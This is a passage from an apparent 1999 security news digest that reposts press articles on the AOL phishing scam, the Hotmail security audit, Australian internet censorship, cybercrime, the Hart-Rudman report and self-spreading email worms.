      However, it is likely that other will emerge as the Year 2000 transition period unfolds."
      Federal Computer Week 
      
      http://www.fcw.com/pubs/fcw/1999/1004/web-gaocip-10-05-99.html
      
       OCTOBER 5, 1999 . . . 17:52 EDT 

       Y2K lessons apply to information security

       BY DIANE FRANK (diane_frank@fcw.com)

       The federal government must apply the lessons it has learned from addressing
       the Year 2000 problem to its efforts to protect its critical infrastructure from
       information security threats, according to a General Accounting Office report
       issued this week.

       "While differences exist, many of the efforts that have been undertaken to
       manage and remedy the Year 2000 problem can also be applied to these longer
       term challenges," the report stated. "Some of these 'lessons' are already
       apparent. However, it is likely that other will emerge as the Year 2000 transition
       period unfolds."

       The report was requested by Sen. Robert Bennett (R-Calif.), chairman of the
       Senate Special Committee on the Year 2000 Technology Problem. Bennett and
       his committee for several months have been tracking the issue of how resources
       and infrastructure put in place to solve the Year 2000 problem could be used to
       help solve critical infrastructure threats.

       The report supports many of the findings of the committee. It highlighted the
       need for high-level congressional and executive branch leadership; the
       establishment of public-private sector relationships; and greater oversight to
       monitor agencies' performance.
       
       @HWA
       
54.0   AOL SPAM SCAN CONTINUES TO MAKE VICTIMS
       ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~   
       
       From Help Net Security http://www.net-security.org/       
       
       by Thejian, Wednesday 6th October 1999 on 12:10 pm CET
       AOL alerted customers in April that emails reporting an "AOL Billing Problem" or
       titled "AOL Rewards," for example, were tricking recipients into visiting a non-AOL
       Web site. Once at the Web site, users were asked to enter their usernames and
       passwords to receive special offers. The AOL users' accounts were then accessed by
       the unauthorized parties and used to send spam or commit other fraud, the company
       said. Although AOL says it posted warning notices about the spam on several areas
       of its service, some if its 18 million subscribers continue to be duped. Story 
       
       http://news.cnet.com/news/0-1005-200-808497.html?tag=st.ne.1002.bgif?st.ne.fd.gif.k
       
       AOL users lured into spam scam 
      By Courtney Macavinta
      Staff Writer, CNET News.com
      October 5, 1999, 4:30 p.m. PT 
 
      Despite months of warnings, America Online subscribers continue to fall prey to an email scam that enables
      spammers to hijack their accounts.
 
      AOL alerted customers in April that emails reporting an "AOL Billing Problem" or titled "AOL Rewards," for example, were tricking
      recipients into visiting a non-AOL Web site. 
 
      Once at the Web site, users were asked to enter their usernames and passwords to receive special offers. The AOL users'
      accounts were then accessed by the unauthorized parties and used to send spam or commit other fraud, the company said.
 
      Although AOL says it posted warning notices about the spam on several areas of its service, some if its 18 million subscribers
                            continue to be duped.
 
                            The Spam Recycling Center, which forwards suspicious spam to the Federal Trade Commission,
                            issued its own alert about the scam today after it received more than 1,300 submissions of the
                            message targeting AOL users during the past few weeks.
 
                            "What surprised us was both the number of spams sent to us by AOL users and the spoofed AOL
                            Web sites--at first blush, they are pretty good," said Anthony Phipps, of ChooseYourMail, an "opt
                            in" email marketing firm that set up the Spam Recycling Center.
 
                            Unsolicited bulk email is one of the most detested--yet hard to combat--problems plaguing the Net.
                            It clogs Net users' email boxes and service providers' networks. For the past few years, Congress
                            has considered, but never passed, legislation to ban spam, or to require that senders label their
                            messages and remove people from their mailing lists upon request.
 
      AOL, which has won groundbreaking lawsuits against spammers who trespassed on its network, has no idea how many users
      have unwittingly given up their account pass codes as a result of the scam. Although the company always is in the process of
      educating its customers about junk email offers, spam still continues to hit AOL's proprietary service as well as its instant
      messaging service.
 
      "We have told them to beware of emails with hyperlinks, and that AOL will never ask them for a username, password, or billing
      information via email or instant messaging," AOL spokesman Rich D'Amato said. "It is all part of our ongoing efforts to do away
      with spam."
 
      Taking action
      AOL works with other Net access providers to combat spammers. In addition, when AOL notices that an account is sending
      email out to scores of recipients, which it suspects is spam, it will shut the account down.
 
      That protocol is how Gregory Walter, a construction manager in South Holland, Illinois, discovered that his account had been
      hijacked by spammers.
 
      Walter tried to log on to his AOL account about two weeks ago but was locked out. When he called AOL, he was told that his
      account was disabled because it was used to send spam. This was just two days after Walter had responded to one of the
      emails offering a free month of AOL.
 
      "Whoever stole my password sent out about 7,000 emails one evening," Walter said.
 
      Although the spammers' Web sites have been taken down, the Spam Recycling Center is advising AOL users to not respond to
      emails with the subjects "AOL giving FREE INTERNET ACCESS!" and "AOL Christmas Special."
 
      The email Walter and others responded to stated: "AOL apologizes for this inconvenience, and we do assure better and faster
      service for each and everyone [sic] of our members. As a result of this, the staff at AOL is proud to announce that during our short
      update on your account, members who submit their information promptly will receive one month [of] FREE Internet Access!"
 
      To play it safe, users should never respond to unsolicited bulk email or give out their passwords, according to AOL and the Spam
      Recycling Center.
 
      "That should cause a red flag," AOL's D'Amato said.
      
      @HWA
      
55.0  MS: IT'S NOT OUR FAULT, THE HACKERS DID IT
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
      
      by Thejian, Wednesday 6th October 1999 on 11:50 am CET
      "Unfortunately, malicious hackers target all technology platforms, but we believe this
      effort will help ensure that we have the right security controls in place to protect
      customers of Hotmail." That was the message from Redmond, Washington Monday
      as Microsoft, along with industry self-regulatory watchdog Truste, revealed the
      findings of an independent audit of Hotmail. In pronouncing the email service sound,
      Microsoft shifted the blame for Hotmail's massive August security leak from its own
      security measures to malicious hackers. More      
      
      http://www.wired.com/news/news/technology/story/22094.html
      
      MS Fingers Hotmail Hackers
      by Chris Oakes 
      
      1:45 p.m.  5.Oct.99.PDT
      Hacking happens. 
      
      That was the message from Redmond, Washington Monday as Microsoft, along with industry self-regulatory watchdog Truste, revealed the findings
      of an independent audit of Hotmail. 
      
      In pronouncing the email service sound, Microsoft shifted the blame for Hotmail's massive security leak from its own security measures to malicious
      hackers. 
      
      The August incident, the worst Web security meltdown in history, left every one of Hotmail's 50 million email accounts exposed to anyone with
      access to a Web browser. 
      
      "Hotmail maintains the very high standards we place on consumer privacy and security," said Richard Purcell, Microsoft's data practices director. 
      
      "Unfortunately, malicious hackers target all technology platforms, but we believe this effort will help ensure that we have the right security controls
      in place to protect customers of Hotmail." 
      
      The audit, conducted by an unnamed "big five" accounting firm, pronounced Microsoft's repair work effective and said that it showed Redmond to
      be in compliance with the Truste licensing agreement, according to Richard Purcell, Microsoft's data practices director. 
      
      He said the report makes it clear that all is well with Hotmail. 
      
      "Our quick response and third-party review are evidence of not only Microsoft's committment to protecting online privacy, but also to Truste in their
      dispute resolution process." 
      
      Truste is an industry-sponsored nonprofit organization meant to assure compliance with certain Web privacy standards in lieu of government
      regulation. 
      
      A group calling itself "Hackers Unite" discovered the Hotmail hole in August. 
      
      The group then publicized the hole, which was evidently a blunder in Microsoft's server administration. They said through a spokesman that they
      wanted to draw attention to what they said was Microsoft's spotty security record. 
      
      Microsoft did not reveal technical details of either the audit or the problem. The patch ostensibly nailed the hole shut and the company said it also
      put new quality-control procedures in place to prevent future problems. 
      
      Truste executive director Bob Lewin said its watchdog complaint system -- in which consumers lodge complaints about privacy problems they
      experience on the Web -- worked seamlessly to "ensure that indeed the problem was fixed." 
      
      But only time will tell how solid the fix really is. Web servers are by nature leaky boats that must constantly be patched if they are to remain secure
      and afloat. 
      When Microsoft announced it would open itself to the audit, critics welcomed the decision. 
      
      But independent watchdogs said if the company was really committed to strong self-regulation, it should have done the same in response to a
      severe privacy problem discovered last March. 
      
      In that incident, Microsoft admitted to collecting special identification numbers from users' PCs during the Windows registration process. 
      
      At the time, the company promised it was not using the unique identifiers to track Web visitors. It said it would discontinue the collection practice
      and promised to purge any questionable data from company databases. 
      
      But if any situation called for an independent audit, that one did, observers complained. 
      
      Microsoft's Purcell explained what he called a simple difference between the two incidents and the company's response: In contrast to the Hotmail
      problem, the Windows registration issue was not raised in a specific consumer complaint. 
      
      "It was not a security breach that was reported through the watchdog process at all," Purcell said. "The hardware ID issue was never used, so
      there was no claim against it." 
      
      In other words, a hole has to be exploited before Microsoft will consent to an independent review. 
      
      "When it comes to a point where we need to convice a partner such as Truste or a wider audience to the veracity of the resolution we put in
      place, then it's up to us as to what kind of independent review that we would conduct," Purcell said. 
      
      To privacy advocate Jason Catlett, CEO of Junkbusters, that's an inconsistent policy. 
      
      "It's a prime example of Microsoft's instinctual treatment of security as a PR issue to be ignored until it requires emergency spin surgery," he said.
      "They had a chance to show their confidence in their technology by commissioning an audit to be published, and they fled." 
      
      Besides, Catlett asked of the March incident, "how do we know there was no security breach?" 
      
      "Self-regulation is the business-class of regulation: It's much more expensive, but so much more convenient." MS Fingers Hotmail Hackers
      by Chris Oakes 
      
      1:45 p.m.  5.Oct.99.PDT
      Hacking happens. 
      
      That was the message from Redmond, Washington Monday as Microsoft, along with industry self-regulatory watchdog Truste, revealed the findings
      of an independent audit of Hotmail. 
      
      In pronouncing the email service sound, Microsoft shifted the blame for Hotmail's massive security leak from its own security measures to malicious
      hackers. 
      
      
      The August incident, the worst Web security meltdown in history, left every one of Hotmail's 50 million email accounts exposed to anyone with
      access to a Web browser. 
      
      "Hotmail maintains the very high standards we place on consumer privacy and security," said Richard Purcell, Microsoft's data practices director. 
      
      "Unfortunately, malicious hackers target all technology platforms, but we believe this effort will help ensure that we have the right security controls
      in place to protect customers of Hotmail." 
      
      The audit, conducted by an unnamed "big five" accounting firm, pronounced Microsoft's repair work effective and said that it showed Redmond to
      be in compliance with the Truste licensing agreement, according to Richard Purcell, Microsoft's data practices director. 
      
      He said the report makes it clear that all is well with Hotmail. 
      
      "Our quick response and third-party review are evidence of not only Microsoft's committment to protecting online privacy, but also to Truste in their
      dispute resolution process." 
      
      Truste is an industry-sponsored nonprofit organization meant to assure compliance with certain Web privacy standards in lieu of government
      regulation. 
      
      A group calling itself "Hackers Unite" discovered the Hotmail hole in August. 
      
      The group then publicized the hole, which was evidently a blunder in Microsoft's server administration. They said through a spokesman that they
      wanted to draw attention to what they said was Microsoft's spotty security record. 
      
      Microsoft did not reveal technical details of either the audit or the problem. The patch ostensibly nailed the hole shut and the company said it also
      put new quality-control procedures in place to prevent future problems. 
      
      Truste executive director Bob Lewin said its watchdog complaint system -- in which consumers lodge complaints about privacy problems they
      experience on the Web -- worked seamlessly to "ensure that indeed the problem was fixed." 
      
      But only time will tell how solid the fix really is. Web servers are by nature leaky boats that must constantly be patched if they are to remain secure
      and afloat. 
      When Microsoft announced it would open itself to the audit, critics welcomed the decision. 
      
      But independent watchdogs said if the company was really committed to strong self-regulation, it should have done the same in response to a
      severe privacy problem discovered last March. 
      
      In that incident, Microsoft admitted to collecting special identification numbers from users' PCs during the Windows registration process. 
      
      At the time, the company promised it was not using the unique identifiers to track Web visitors. It said it would discontinue the collection practice
      and promised to purge any questionable data from company databases. 
      
      But if any situation called for an independent audit, that one did, observers complained. 
      
      Microsoft's Purcell explained what he called a simple difference between the two incidents and the company's response: In contrast to the Hotmail
      problem, the Windows registration issue was not raised in a specific consumer complaint. 
      
      "It was not a security breach that was reported through the watchdog process at all," Purcell said. "The hardware ID issue was never used, so
      there was no claim against it." 
      
      In other words, a hole has to be exploited before Microsoft will consent to an independent review. 
      
      "When it comes to a point where we need to convice a partner such as Truste or a wider audience to the veracity of the resolution we put in
      place, then it's up to us as to what kind of independent review that we would conduct," Purcell said. 
      
      To privacy advocate Jason Catlett, CEO of Junkbusters, that's an inconsistent policy. 
      
      "It's a prime example of Microsoft's instinctual treatment of security as a PR issue to be ignored until it requires emergency spin surgery," he said.
      "They had a chance to show their confidence in their technology by commissioning an audit to be published, and they fled." 
      
      Besides, Catlett asked of the March incident, "how do we know there was no security breach?" 
      
      "Self-regulation is the business-class of regulation: It's much more expensive, but so much more convenient." 
      
      @HWA
      
56.0  INDUSTRY BACKING AUSSIE CENSORSHIP LAW?
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
        
      by Thejian, Tuesday 5th October 1999 on 7:20 pm CET
      Remember the Australian online content regulation law which passed last June?
      Senator Alston, the Australian Minister of Communications, has been looking to
      convince people that the industry itself supports the plan. In a speech, given on
      September 30, he recalls a conversation with Jeff Papows, CEO of Lotus, and claims
      Papows voiced support for the plan. Alston also claims support from Yahoo. Yahoo
      denies this, but Lotus has not, and had no comment at press time. Slashdot.org       
      
      http://slashdot.org/articles/99/10/04/0854249.shtml
      
      Posted by jamie on Monday October 04, @04:50PM EDT
       from the speak-for-yourself dept.
       According to an Australian official, the CEO of Lotus Development Corporation believes: 

            Industry has no issue with online content regulation. The industry endorses content regulation.

       The context is Australia's new system of dumbing the net down for children; here, the words "content regulation"
       mean simply: "censorship." An excerpt follows. 

       Senator Alston, Australia's Minister for Communications, is still working to sell Australia's censorship law, which was
       passed in June and takes effect on January 1st. Essentially the entire continent's internet will be rated like movies,
       with teeth. Unless something is done before January - which looks unlikely - it will be the worst trampling of net
       liberties by a Western democratic nation. 

       One of the compelling arguments against Australia's plan is that it will slow or halt the technology industry - halting
       progress means losing venture capital and slowing an entire nation's economy; nobody wants that. So Senator Alston
       has been looking for evidence to the contrary, and in particular he hopes to convince people that the industry itself
       supports the plan. 

       In the excerpted speech below, given on September 30, he recalls a conversation with Jeff Papows, CEO of Lotus,
       and claims Papows voiced support for the plan. (Note that Alston also claims support from Yahoo. Yahoo denies
       this, but Lotus has not, and had no comment at press time). 

            The industry itself accepts that there should be these codes of practice and this form of regulation. We
            have been trying to negotiate it for the last three years with the Internet Industry Association. Their
            problem is that there are these maniacs - these electronic frontiers outfits - running around stirring up
            trouble, using quaint expressions and feeding lines to that woman from the Civil Liberties Union
            [Nadine Strossen] who then gets out there, gets a good run and says that we are global village idiots.
            This is just a low-grade political campaign. I do not find industry opposing this approach. 

            I was fascinated when I was in Silicon Valley about two months ago. I waited for industry to raise it,
            because it was at the height of the furore. It was just after the legislation had gone through and I was
            doing the rounds of all the IT companies in the valley. I waited for them to raise it with me. The only
            people who ever raised it with me were journalists who were saying, 'Isn't this a big problem?' I
            replied, 'Why it is a big problem?' They said, 'It is because it is getting media coverage. It is coming out
            of Australia. Your Senator Lundy is faxing the New York Times and saying, "Isn't it disgraceful?" and
            Electronic Frontiers Australia is calling for the minister's resignation. Isn't this an issue?' It is an issue for
            the media, because it is new, exciting and a lot of fun, but it was not an issue for the industry. 

            The only people who raised it with me on that visit were Yahoo who thought it was a good idea. I
            recently saw the president and CEO of Lotus, which is a major player. He was out visiting Australia.
            Again, I waited for him to raise it with me and he did not. Over the years I have seen a lot of these
            people and none of them have ever raised it. I thought I might as well ask him what he thinks. His
            answer was, 'Industry has no issue with online content regulation. The industry endorses content
            regulation.' In other words, all of the responsible players - and most of these people have kids of their
            own - do not for a moment want to see the anarchy that is prevailing at the moment. 

       Lotus' support for this plan comes as a surprise to those who remember that the company was founded by Mitch
       Kapor, later a co-founder of the Electronic Frontier Foundation. 
       
       @HWA

57.0  CYBERCROOKS BREACHING THE BORDERS OF CYBERSPACE
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
      
      by Thejian, Tuesday 5th October 1999 on 7:10 pm CET
      Another story on digital piracy: "From computer geeks and pornographers to Russian
      mafia and Asian crime triads, cybercrooks are uploading and downloading stolen,
      counterfeit, and contraband goods on the Internet, law enforcement and security
      sources said. And the criminal possibilities will only get bigger as technology
      improves, with better quality and smaller recordable CDs and sharper Internet video,
      sofficials say." Full story 
      
      http://www.techweb.com/wire/story/reuters/REU19991005S0004
      
      Cybercrooks Breach Borders Of
      Cyberspace 
      (10/05/99, 12:46 p.m. ET)
      By Reuters 

      From computer geeks and pornographers
      to Russian mafia and Asian crime triads,
      cybercrooks are uploading and
      downloading stolen, counterfeit, and
      contraband goods on the Internet, law
      enforcement and security sources said. 

      Unlike the days when rum runners and drug smugglers
      risked life and limb to move illicit merchandise by land,
      sea, and air, thieves who steal computer software,
      music, videos, and other digitized intellectual property
      can move it across national frontiers without leaving the
      comfort of their desks. 

      Hailed as a powerful boon to global trade, the Internet
      is proving a bane to police trying to prevent criminal
      masterminds from trafficking stolen goods across the
      unguarded borders ofcyberspace, law enforcement
      experts said. 

      "I think it's going to dwarf every type of crime in the
      next millennium," said assistant U.S. customs
      commissioner Bonni Tischler at an international
      symposium for customs officials last week. "They're
      going to have to figure out how to control the Internet." 

      Gone are the days when Cold War spies swapped an
      attache case or Manila envelope in a clandestine
      rendezvous on a speeding train or smuggled microdots
      secreted in their dental fillings. Purloined papers,
      terrorist manifestoes, and pornographic pictures are
      now dispatched with a keystroke. 

      U.S. companies have estimated they lose $200 billion a
      year to product piracy; from the theft of trademarked
      goods such as designer clothing, shoes, and handbags
      to illegally duplicated software programs, CDs, and
      videos, U.S. agents said. 

      The global software industry lost $11 billion to piracy in
      1998, with an estimated 38 percent of 615 million new
      business software applications installed worldwide
      pirated, the Software and Information Industry
      Association trade group said. 

      SIIA estimates 97 percent of business software
      applications used in Vietnam in 1998 were pirated.
      China, Oman, Lebanon, Russia, Indonesia, and
      Bulgaria all had rates above 90 percent. 

      A survey by SIIA in August estimated that 60 percent
      of the software being auctioned online was illegitimate
      -- some of it on Internet auction giant eBay, as well as
      on ZDNet and Excite. 

      U.S. law enforcement officials conceded no one knows
      how much stolen intellectual property moves over the
      Internet, but they believe the numbers are staggering --
      and growing. 

      "I don't think any of us can define how big the Internet
      can get, so the crimes that go along with it and the fraud
      perpetrated by it are infinitesimal," said D.C. Page,
      managing director of security company Kroll
      Associates. 

      For intellectual property, the Internet is the perfect
      criminal arena because it creates huge jurisdictional
      loopholes for police and prosecutors, agents and
      security experts said. 

      "You can see a fraud being perpetrated between the
      United States and Brazil where the actual perpetrators
      are in Amsterdam," Page said. "How is that ever going
      to be prosecuted by any one of those three
      governments? There are evidentiary issues, there are
      witnesses, there are legal issues. 

      "A lot of times these guys are going to set up house in a
      jurisdiction that is going to be favorable to them. We've
      found people actually put their server in the country
      where they're best protected." 

      In addition to being used to ship stolen property, the
      Internet can be used to elude authorities in other ways.
      If police are closing in on a factory making fake
      trademarked goods -- say Gucci bags -- in South
      Korea, the operator can quickly shut his factory and
      ship the digitized trademarks via Internet to a new
      clandestine plant in China. 

      Internet white collar crime is so easy that mobsters in
      Asia and in former Soviet bloc countries are using it to
      finance other enterprises, customs officials said. 

      "We find that the Asian triads have been using the sale
      of pirated merchandise to finance their more violent
      crimes," said Mark Robinson, U.S. customs director of
      fraud investigations. 

      Former Soviet bloc countries are hotbeds of Internet
      crime, officials said. Computer mavens make use of
      chaotic politics and lax enforcement to run lucrative
      smuggling operations. 

      Law enforcement officials said intellectual property
      makers, from software companies such as Microsoft to
      music producers such as Sony, must build antitheft
      devices into their goods. "The whole issue is how to
      keep people from downloading over the Internet,"
      Tischler said. 

      Yet the concept of making it tougher to download
      products runs counter to the visions of many companies
      to sell and move products in cyberspace, particularly
      music that can be downloaded onto recordable CDs
      from websites. 

      And the criminal possibilities will only get bigger as
      technology improves, with better quality and smaller
      recordable CDs and sharper Internet video, officials
      said. 

      Customs officials said judicial systems lag behind
      exploding crime on the Internet. Cybercrime is difficult
      for juries to visualize, penalties are small, and the risk of
      jail is minimal in comparison to crimes such as armed
      robbery. 

      "The law is so far behind the Internet," Page said. 

      Mike Flynn, SIIA manager of Internet and international
      antipiracy, said cybercrooks quickly find ways to
      circumvent technological security devices. 

      "It's really about changing the mindset of people to
      make them more respectful of intellectual property
      rights," he said. "There are always going to be people
      who will insist on breaking the law." 

      Copyright 1999 Reuters Limited. All rights reserved. Republication or
      redistribution of Reuters content, including by framing or similar means,
      is expressly prohibited without the prior written consent of Reuters.
      Reuters shall be not be liable for any errors or delays in the content, or
      for any actions taken in reliance thereon.
      
      @HWA
      
      
58.0  NUKING THE HACKERS?
      ~~~~~~~~~~~~~~~~~~~
      From Help Net Security http://www.net-security.org/
        
      by Thejian, Tuesday 5th October 1999 on 6:50 pm CET
      While the high-tech industry celebrates an information economy heading ever more
      towards richer rewards, a congressionally mandated panel today told the House
      Armed Services Committee that rogue individuals and nation-states could use that
      technology to cause "carnage" on "American soil." The US Commission on National
      Security/21st century specifically advocated a "robust nuclear deterrent" to battle
      nuclear, chemical, biological, and information-based aggression in its report to the
      Committee. Newsbytes.com 
      
      http://www.newsbytes.com/pubNews/99/137313.html
      
      Use Nukes To Battle Info Attack - Hart-Rudman 
            
      By Robert MacMillan, Newsbytes
      WASHINGTON, DC, U.S.A., 
      05 Oct 1999, 11:27 AM CST

      While the high-tech industry celebrates an information economy heading ever more towards richer
      rewards, a congressionally mandated panel today told the House Armed Services Committee that rogue
      individuals and nation-states could use that technology to cause "carnage" on "American soil." 

      The US Commission on National Security/21st century specifically advocated a "robust nuclear deterrent" to battle nuclear,
      chemical, biological, and information-based aggression in its report to the Committee. 

      While not naming specific technologies, the report seemed to indicate a strong resistance to the mass-market availability of
      strong encryption products, something the Clinton administration now officially supports, though regulations have not yet
      been issued. 

      Former Sen. Gary Hart - who is a member of the Hart-Rudman Commission along with Warren Rudman, Norman Augustine,
      Andrew Young, former House Speaker Newt Gingrich and others - told the committee that the technology revolution,
      coupled with international trade, has resulted in conclusions about the new world order that "are not particularly comforting."

      "Governments or groups hostile to the United States...will gain access to advanced technologies," the first phase of the
      commission's report states. "They will seek to counter US military advantages through the possession of these
      technologies and their actual use in non-traditional attacks." 

      The commission's report represents the so-called "phase one" of its activity, according to Armed Services Committee
      Chairman Floyd Spence, R-S.C., who is known as one of the opponents of Rep. Robert Goodlatte's, R-Va., Security and
      Freedom Through Encryption (SAFE) Act. 

      Phase One represents a world-view on national security between now and 2025. Phase Two, due by April, 2000, calls for
      the development of a big-picture US national strategy model, while Phase Three, due in winter, 2001, would "carefully
      analyze the US national security system, and propose changes to it as deemed necessary..." 

      Spence also advocated government development of new technologies to battle foreign threats. 

      "It is no secret that I believe additional defense resources will be required to successfully avoid (an attack on America),"
      Spence said. "In my view, this includes developing new technologies to defend against growing threats where no effective
      defense exists today - missile defense, for example." 

      Relying on a healthy element of fear in the report, Hart and Rudman made a number of predictions. 

      - "States, terrorists and other disaffected groups will acquire weapons of mass destruction and mass disruption. Americans
      will likely die on American soil, possibly in large numbers." 

      - "An anti-technology backlash is possible, and even likely, as the adoption of emerging technologies creates new moral,
      cultural and economic diversions." 

      - "Overall global economic growth will continue, albeit unevenly. Serious and unexpected economic downturns, major
      disparities of wealth, volatile capital flows, increasing vulnerabilities in global electronic infrastructures...will also occur." 

      - "Global connectivity will allow 'big ideas' to spread quickly around the globe. Whatever their content, the stage will be set
      for mass action to have social impact beyond the borders and control of existing political structures." 

      - "Micro-sensors and electronic communications will continue to expand intelligence collection capabilities around the
      world. As a result of the proliferation of other technologies, however, many countries and disaffected groups will develop
      techniques of denial and deception in attempts to thwart US intelligence efforts - despite US technological superiority." 

      Reported by Newsbytes.com, http://www.newsbytes.com . 

      11:27 CST
      Reposted 16:18 CST 
   
      @HWA
     
59.0  BATTLING THE VIRUSES OF THE FUTURE
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
      
      From Help Net Security http://www.net-security.org/
       
      by Thejian, Tuesday 5th October 1999 on 6:20 pm CET
      Since the creation of computer viruses in the mid-1980s, thousands of them have
      come and gone, most dying before causing any damage. But three strains of these
      fast-moving viruses infected computers worldwide earlier this year and two more
      surfaced last month. "We're at a turning point in the history of viruses," said Steve R.
      White, head of anti-virus research at IBM's Thomas J. Watson Research Center.
      "They have automated the process of spreading so that it doesn't depend on you or
      me anymore. Now all the old methods of dealing with viruses just won't work." So now
      what? Read more 
      
      http://www.latimes.com/business/19991004/t000089107.htmls
      
     
      Computer World Battles Faster-Moving Viruses 
      Technology: Researchers are building systems to find cures and quickly
      inoculate against self-propagating infections. 
      
      By ASHLEY DUNN, Times Staff Writer
      
      
      A new generation of self-spreading computer viruses has researchers worried that the days of
      slow-moving, low-level infections are over. 
      Since the creation of computer viruses in the mid-1980s, thousands of them have come and
      gone, most dying before causing any damage. 
      But three strains of these fast-moving viruses infected computers worldwide earlier this year
      and two more surfaced last month. 
      The first was a virus from France called Happy99. It became one of the most widespread
      diseases to afflict home computers. In March, the Melissa virus struck, spreading faster and wider
      than any virus in the past. Then three months ago, a plague known as ExploreZip appeared, again
      propagating itself over the Internet with unusual speed. 
      In September, two new viruses surfaced. Cholera is an infection similar to Happy99, Melissa and
      ExploreZip, and two weeks ago anti-virus software maker Network Associates put out an alert on a
      virus called Suppl that belongs in the same class. 
      Each of the infections used a different technique, but what tied them together was not only their
      ability to replicate themselves, a traditional feature of computer viruses, but also to spread on their
      own--a new twist that allowed them to cover the globe in a matter of days. 
      "We're at a turning point in the history of viruses," said Steve R. White, head of anti-virus
      research at IBM's Thomas J. Watson Research Center. "They have automated the process of
      spreading so that it doesn't depend on you or me anymore. Now all the old methods of dealing
      with viruses just won't work." 
      Anti-virus programs have so far contained the new infections. Researchers at IBM and
      anti-virus software maker Symantec are working on the next generation of countermeasures, which
      involve fighting the automated viruses with automated defense systems that can find a cure and
      inoculate computers in a matter of hours. 
      But the unexpected success of self-propagating viruses points to the increasing fragility of an
      interconnected world. Anti-virus companies concede they have fallen behind in the seesawing
      battle over the health of the digital cosmos. 
      "The goal is to be faster at coming up with a fix than the virus is at spreading itself," said Carey
      Nachenberg of the Symantec AntiVirus Research Center. "We're not faster than Melissa, but in
      two years we will be." 
      For all the fears of computer viruses, the traditional strains move at a snail's pace compared with
      the speed of modern communications. It can take weeks or even years for some viruses to move
      any appreciable distance--and by that time the anti-virus forces have long since created a cure. 
      Those that manage to spread typically depend on the most old-fashioned of methods--having a
      human being send them to a computer using e-mail or the even lower-tech method of transferring a
      diskette. 
      Now consider Melissa's method. The virus was attached to Microsoft Word documents and
      sent via e-mail to unsuspecting computer users. When the document was opened, the virus would
      spread to a part of the Word program, ensuring that any new document would also be infected. 
      Melissa's extra twist was a feature that made it grab the first 50 entries in the user's e-mail
      address book and send them a copy of the infected document. The process repeated itself on the
      next group of computers. 
      The result of this exponential growth was impressive. One organization reported that the virus
      generated up to half a million e-mail messages in under three hours. 
      "There's no doubt Melissa was a major change," said Richard Jacobs, president of Sophos Inc.,
      an anti-virus software maker. "People used to over-report viruses, but this year Melissa was a
      much greater problem than anyone expected." 
      These recent viruses fall into a special category known as "worms," a name that was taken from
      a 1975 science-fiction story in which a program called a "tapeworm" was used to bring down the
      computer system of a totalitarian government. 
      Worms, which were created in the early 1980s at Xerox's Palo Alto Research Center, are
      programs that can reproduce and execute instructions on their own. They are, in essence,
      self-propagating viruses aimed at spreading over networks. 
      Xerox invented worms to help maintain large computer networks, such as sensing idle
      computers so they could be put to use on problems that needed more processing power. 
      But even in those early days, the destructive ability of worms was apparent. Through a glitch,
      one of Xerox's worms spun out of control and brought down all 100 computers connected to the
      network. 
      There has been only one or two major worm attacks before this year. The most notorious was a
      1988 outbreak of the Morris Worm. 
      Created by Robert Morris Jr., the worm burrowed through several security weaknesses in
      networks using the Unix operating system and, once inside, scanned for addresses of other
      computers and dispatched copies of itself. 
      The Morris Worm was able to propagate with frightening speed, shutting down about 10% of
      the computers connected to the Internet, according to CERT Coordination Center, an Internet
      security clearinghouse created specifically because of the damage caused by that first worm. 
      Nachenberg of Symantec believes that the reemergence of worms with Happy99's arrival in
      January stems from a convergence of forces that has been brewing for years, creating a digital
      ecology that favors fast-moving infections. 
      As recently as a decade ago, the computing world was a hodgepodge of machines, most of
      which were not connected to one another. 
      Today, almost all personal computers use Microsoft's Windows software and Intel
      microprocessors. As with biological viruses, the millions of identical hosts have made transmission
      easier. 
      A key piece that has fallen into place only in the last four years was the introduction of
      Windows 95, which brought a set of powerful tools that viruses could use to manipulate the
      computer through common programs such as Word and Excel. 
      The last piece of the puzzle was the growth of the Internet, which linked millions of computers
      together, giving viruses an easy path to spread. 
      The three conditions have enabled viruses to move quickly--a key factor because of the
      widespread use of anti-virus software programs, which can update themselves on a daily basis. 
      "Homogeneity, connectivity, programmability," Nachenberg said. "Everything is ripe to be
      attacked. What is preventing them is law enforcement and whatever ethics are left in the world." 
      The most recent worms are not as autonomous as the Morris Worm. They still have depended
      on humans to activate them by opening the infected files sent via e-mail. 
      But anti-virus experts believe the time is coming when the fully autonomous worm could make a
      comeback. 
      IBM's White said the only viable solution to the worm problem is to move faster than the worms
      by fully automating the virus-fighting process. 
      IBM has been developing a virtual immune system since the early 1990s that is aimed at
      automatically detecting viruses, analyzing them and creating a cure that can be sent out to all of its
      customers--in essence, immunizing them--in a matter of hours. 
      Symantec is using a piece of the system to detect and analyze so-called "macro" viruses, which
      attach to programs such as Word and Excel. Melissa, in addition to being a worm, is a macro virus. 
      When a virus is detected with IBM's system, it is sent in encrypted form over the Internet to a
      central computer, where it is decrypted and placed in a kind of virtual petri dish. The dish is a full
      simulation of a working computer that takes place inside a large IBM computer. 
      White said that IBM is working on simulating not just a single computer, but whole networks of
      computers so it can analyze more complex viruses not in hours or days, but possibly minutes.
      Much of the system should be in place next year. 
      But even with these techniques, he conceded that they can only contain viruses and could be
      overwhelmed if the number of worms increased to an unmanageable level. 
      "There is no perfect solution," Symantec's Nachenberg said. "Our strategies at best are
      reactive." 
      
                             * * *
      
      
      Electronic Epidemic 
      The number of viruses has increased substantially over the past few years. More important, a
      new type of virus has appeared. Called "worms," these viruses are created to spread automatically.
      They account for a minuscule portion of the total number of viruses, but because they spread so
      quickly they account for a large percentage of the infections. 
      Number of Viruses (In thousands) 
      1999: 44,600 year to date 
      1989: 250 
                             * * *
      Infection Rate (Per 1,000 PCs each month) 
      1999: 88 year to date 
      Source: Sophos Inc., ICSA Computer Virus Prevalence Survey: 1999 
      
      When the Worm Turns 
      A few basic rules can go a long way toward protecting your computer from viral infections. 
      * Regularly use anti-virus software and set it to automatically scan the computer and all
      incoming files. Don't forget to schedule your anti-virus program to update itself with new
      inoculations from the maker's Web site. 
      * Do not open e-mail attachments unless you know the sender and know what the attachment
      contains. 
